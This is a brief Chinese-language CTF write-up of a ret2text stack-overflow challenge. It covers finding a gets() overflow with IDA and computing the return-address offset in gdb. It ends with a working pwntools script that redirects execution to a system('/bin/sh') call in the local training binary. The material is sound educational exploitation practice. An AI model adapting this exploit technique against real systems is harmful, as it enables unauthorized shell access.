ctf-wiki
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/
checksec查看程序的保护机制
程序开启了NX(栈不可执行保护)
将文件拖进ida,main函数,f5
看到gets函数,可以判断程序中存在栈溢出漏洞
ida中的函数可以点进去就点进去,发现secure函数中存在调用system("/bin/sh")的代码
查看"/bin/sh"的所在地址为0x0804863A
利用直接控制程序返回到0x0804863A,就可以得到系统的shell
构造payload
需要确定能够控制内存的起始地址距离main函数的返回地址的字节数
可以得到输入的字符串s是通过相对于esp的索引
在gdb中进行调试,在call处下断点
可以得到 esp 为 0xffffcf60,ebp 为 0xffffcfe8,esp 相对于 s 的索引为[esp+0x1c],所以计算得 s 的地址为 0xffffcf7c,所以 s 相对于 ebp 的偏移为 0x6c,所以相对于返回地址的偏移为 0x6c+4
exp
#!/usr/bin/env python
#-*-coding:utf-8 -*-
from pwn import*
sh = process('./ret2text')
binsh_addr = 0x0804863A
sh.sendline('A' * (0x6c+4) + p32(binsh_addr))
sh.interactive()
exp运行
如果发生缓冲区溢出,返回地址被覆盖,就会导致控制流被劫持,漏洞就会被利用。
NX/DEP(堆栈不可执行保护): 让栈上的地址不可被执行,将数据和代码区分开,让数据不可当作代码执行,当程序溢出成功转入shellcode时,程序也会停下来不被执行。